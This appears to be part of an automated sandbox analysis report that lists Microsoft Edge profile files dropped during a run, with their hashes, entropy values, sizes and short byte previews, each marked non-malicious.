SSDEEP:	768:75uhLm7pLGLhZ0WPX7fYP8F1+UoAYDCx9Tuqh0VfUC9xbog/OVABML4rwqp/tug:75uhLGchZ0WPX7fYPu1ja1GLpmtD
MD5:	1E44062658487E0575089326CD7A0954
SHA1:	06C9A9C3AA30DCE8EB73EA79F21A10F69B5BD5A0
SHA-256:	8A5A338B28D5E09B3EDA985545350EE76804B6369ACFACB735483AC0341DA200
SHA-512:	A4E975D9FAF11C7A125EFF5006F8BCB83D76323756F06C81997D82DCE702BC9D2D6C82FFDB6FD69267DB87BE9D8EBC093C592C2D442E035C78EDEE95BDCF8727
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907539037092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907539037092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	2.7541301583060975
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljljl:S85aEFljljljljljljljljl
MD5:	046CC08D163FC4578CD1B77A5D0965AC
SHA1:	92F503E605C30974BAF385F1619F1269B81DEC57
SHA-256:	693A60684AA9FF4F01CB6027E9C938F4701C0C898AFC224A0776CB1E18E87166
SHA-512:	E8B1DF36A237BCBBAD897146CA247EDF75466B2A4030FEC620C46932B5C31137F2931CD2758534E4308AED3FB9CC40EDF2D7646A38530BCC5E6D7069C19A3B1F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.088530775865862
Encrypted:	false
SSDEEP:	6:76q2P923oH+TcwtrQMxIFUt8OLbZmw+OXUKkwO923oH+TcwtrQMFLJ:76v4YebCFUt8OLb/+OXUK5LYebtJ
MD5:	32E9A682C51B7DDAFA4C201E59789E91
SHA1:	B089C53FAB2450735A97B47D34AA82B08A85C28B
SHA-256:	20CD27AE377299ADC6AD77B7A682F9AADF830D2E5908AEDD2FF3FF6827867242
SHA-512:	AFC75390FF006E2162EA0035C29CAACD6B79919115CECC60FE16792EBBA09C3243006698693474C7B2E48C6AE8142278808C4F64015F9AFABA00AA63F898CF8C
Malicious:	false
Preview:	2024/12/17-06:12:20.339 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/17-06:12:20.340 1d10 Recovering log #3.2024/12/17-06:12:20.344 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.088530775865862
Encrypted:	false
SSDEEP:	6:76q2P923oH+TcwtrQMxIFUt8OLbZmw+OXUKkwO923oH+TcwtrQMFLJ:76v4YebCFUt8OLb/+OXUK5LYebtJ
MD5:	32E9A682C51B7DDAFA4C201E59789E91
SHA1:	B089C53FAB2450735A97B47D34AA82B08A85C28B
SHA-256:	20CD27AE377299ADC6AD77B7A682F9AADF830D2E5908AEDD2FF3FF6827867242
SHA-512:	AFC75390FF006E2162EA0035C29CAACD6B79919115CECC60FE16792EBBA09C3243006698693474C7B2E48C6AE8142278808C4F64015F9AFABA00AA63F898CF8C
Malicious:	false
Preview:	2024/12/17-06:12:20.339 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/17-06:12:20.340 1d10 Recovering log #3.2024/12/17-06:12:20.344 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13378907541542888

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2366
Entropy (8bit):	3.50777599012478
Encrypted:	false
SSDEEP:	48:34Nhb9ewOJwON/+Sh+b9f/+Sh+pPc92NJw:34NRa/Vdm1dFU
MD5:	147A8FBFE0988FC4A64654D59479984C
SHA1:	3119CDD3FA34EFCA13C9B36871041EA117405175
SHA-256:	0A7E9625F20ED58C73797A2CB04D1BFC4F1026717E8DE6CA507361D9799CBA16
SHA-512:	E1895DC736D87BA7E47C7D4EB2EB35B326ED94336365313854DB76B4748289E9262F7883D643B07A07C4CAF5CC624F521B7F52A7F85CBFA608AFDE4F831C6B0D
Malicious:	false
Preview:	SNSS........{.T............{.T......".{.T............{.T........{.T........{.T........{.T....!...{.T................................{.T.{.T1..,....{.T$...0fbebc1e_1567_46c4_8dd5_1f3ea7914344....{.T........{.T....5/~.........{.T....{.T....................5..0....{.T&...{98952893-68FF-4A5D-A164-705C709ED3DB}......{.T...........{.T........{.T....!...{.T................................{.T.{.T1..,....{.T$...78f5df99_9e1a_4a4a_b54d_68e35ad82355....{.T........{.T......J.........{.T....Y..T....{.T....S...file:///C:/Users/user/AppData/Local/Temp/5622253b-f54a-4cad-af64-795d524a2bab.pdf.....D...@...!...8...........................................................8...............@...............8........!._u)...!._u)..x...............................H...................................................S...f.i.l.e.:./././.C.:./.U.s.e.r.s./.a.l.f.o.n.s./.A.p.p.D.a.t.a./.L.o.c.a.l./.T.e.m.p./.5.6.2.2.2.5.3.b.-.f.5.4.a.-.4.c.a.d.-.a.f.6.4.-.7.9.5.d.5.2.4.a.2.b.a.b...p.d.f.............................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.108412862747251
Encrypted:	false
SSDEEP:	6:7ORrQ+q2P923oH+Tcwt7Uh2ghZIFUt8OORegZmw+OOReQVkwO923oH+Tcwt7Uh2w:7+E+v4YebIhHh2FUt8O+T/+O+DV5LYeQ
MD5:	E3FA7C3364D18AA485FF257D23F86B79
SHA1:	06502AD6ADA229F1439BE3C3B7AAC858564AA922
SHA-256:	C3177C19F244D7F5658636840468167B17DED8D90484A84EDF33BC48EEB1BBC1
SHA-512:	BDFD5F99BC9DC7E7D9BD38F0C168053785A57C6612EED6776332A2888FF5504FD9C45405027C4AB10AA05EB18CE8BC023A35A2F8DE6FD0DAD9075920CFAEE019
Malicious:	false
Preview:	2024/12/17-06:12:19.042 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/17-06:12:19.043 1c2c Recovering log #3.2024/12/17-06:12:19.043 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.108412862747251
Encrypted:	false
SSDEEP:	6:7ORrQ+q2P923oH+Tcwt7Uh2ghZIFUt8OORegZmw+OOReQVkwO923oH+Tcwt7Uh2w:7+E+v4YebIhHh2FUt8O+T/+O+DV5LYeQ
MD5:	E3FA7C3364D18AA485FF257D23F86B79
SHA1:	06502AD6ADA229F1439BE3C3B7AAC858564AA922
SHA-256:	C3177C19F244D7F5658636840468167B17DED8D90484A84EDF33BC48EEB1BBC1
SHA-512:	BDFD5F99BC9DC7E7D9BD38F0C168053785A57C6612EED6776332A2888FF5504FD9C45405027C4AB10AA05EB18CE8BC023A35A2F8DE6FD0DAD9075920CFAEE019
Malicious:	false
Preview:	2024/12/17-06:12:19.042 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/17-06:12:19.043 1c2c Recovering log #3.2024/12/17-06:12:19.043 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.206024701922765
Encrypted:	false
SSDEEP:	6:7lMq2P923oH+TcwtzjqEKj3K/2jMGIFUt8OcZmw+OsFkwO923oH+TcwtzjqEKj3N:7Kv4YebvqBQFUt8Oc/+OsF5LYebvqBvJ
MD5:	DB5DDA8DD52ADCEAE5E6E92F924D3FF5
SHA1:	5AEC1D40408E5C6FE12F044EB40DB0328D8FEA96
SHA-256:	CB7232041A25D87D3F5B2CA5BE57BA0E520D6805A71962D00B02DD896B1B90F9
SHA-512:	DBA7D52F96DF1EF166B66037E3751A9522A12EE3C0ACD272B5A5C81CC3A72D3895A5798B71D7FDEED5E20FD991ED0D6A42C5892A6050289461B68878DEA7E70B
Malicious:	false
Preview:	2024/12/17-06:12:20.652 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:12:20.653 1d10 Recovering log #3.2024/12/17-06:12:20.657 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.206024701922765
Encrypted:	false
SSDEEP:	6:7lMq2P923oH+TcwtzjqEKj3K/2jMGIFUt8OcZmw+OsFkwO923oH+TcwtzjqEKj3N:7Kv4YebvqBQFUt8Oc/+OsF5LYebvqBvJ
MD5:	DB5DDA8DD52ADCEAE5E6E92F924D3FF5
SHA1:	5AEC1D40408E5C6FE12F044EB40DB0328D8FEA96
SHA-256:	CB7232041A25D87D3F5B2CA5BE57BA0E520D6805A71962D00B02DD896B1B90F9
SHA-512:	DBA7D52F96DF1EF166B66037E3751A9522A12EE3C0ACD272B5A5C81CC3A72D3895A5798B71D7FDEED5E20FD991ED0D6A42C5892A6050289461B68878DEA7E70B
Malicious:	false
Preview:	2024/12/17-06:12:20.652 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:12:20.653 1d10 Recovering log #3.2024/12/17-06:12:20.657 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\36b67e78-de86-4569-bd3a-23bdba22c9d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39617.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b4c2277e-e3f2-4949-a4de-f8a084e05472.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cd62ccaf-0bea-4ad2-976b-6969fd1086f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ee2f6434-51e2-4b7c-98d9-b579f25d7a6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.238029363990832
Encrypted:	false
SSDEEP:	12:70Av4YebvqBZFUt8OeY/+OD5LYebvqBaJ:70y4Yebvyg8OhVLYebvL
MD5:	67B19F67597A3D4D08D1F23420BF65DF
SHA1:	1840855CF5E8A8181AF575BE8EED42074DCE8C71
SHA-256:	A2C5C831643E7A7B0F0982C1FAD2D842B1BB5F7C85A80E8A981A461FA4B700D2
SHA-512:	A261F47EF448618724DD6BAE990A40C101651103DD2DE427B9278AD89483830CF61D96962B1597F4AD92B6F14D8E900BE830B158F1571473884E9334F64604F3
Malicious:	false
Preview:	2024/12/17-06:12:37.929 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/17-06:12:37.931 1d10 Recovering log #3.2024/12/17-06:12:37.935 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.238029363990832
Encrypted:	false
SSDEEP:	12:70Av4YebvqBZFUt8OeY/+OD5LYebvqBaJ:70y4Yebvyg8OhVLYebvL
MD5:	67B19F67597A3D4D08D1F23420BF65DF
SHA1:	1840855CF5E8A8181AF575BE8EED42074DCE8C71
SHA-256:	A2C5C831643E7A7B0F0982C1FAD2D842B1BB5F7C85A80E8A981A461FA4B700D2
SHA-512:	A261F47EF448618724DD6BAE990A40C101651103DD2DE427B9278AD89483830CF61D96962B1597F4AD92B6F14D8E900BE830B158F1571473884E9334F64604F3
Malicious:	false
Preview:	2024/12/17-06:12:37.929 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/17-06:12:37.931 1d10 Recovering log #3.2024/12/17-06:12:37.935 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1711480394568134
Encrypted:	false
SSDEEP:	6:7ORBG/34q2P923oH+TcwtpIFUt8OORaAvJZmw+OORaAvDkwO923oH+Tcwta/WLJ:7+BG/4v4YebmFUt8O+1J/+O+1D5LYeb7
MD5:	3513E67CDEF94620B4A520699629C4E8
SHA1:	0D31E293877B0BC4E79F0736F2BC31992A45BCD9
SHA-256:	A2087257F81E2384B0823C5575ECD23C3682A0474E30088D34EAC8CF6A1BAE88
SHA-512:	1F254F33DA7441716EFA2077B974673592191CEA6C25C40D5F018F98C51F6A0228E90D3EE7EFB2ED78EFD504B07BB713795A70BB5AF1F7B8812FB28DC2BD3A43
Malicious:	false
Preview:	2024/12/17-06:12:19.045 1c20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/17-06:12:19.046 1c20 Recovering log #3.2024/12/17-06:12:19.046 1c20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1711480394568134
Encrypted:	false
SSDEEP:	6:7ORBG/34q2P923oH+TcwtpIFUt8OORaAvJZmw+OORaAvDkwO923oH+Tcwta/WLJ:7+BG/4v4YebmFUt8O+1J/+O+1D5LYeb7
MD5:	3513E67CDEF94620B4A520699629C4E8
SHA1:	0D31E293877B0BC4E79F0736F2BC31992A45BCD9
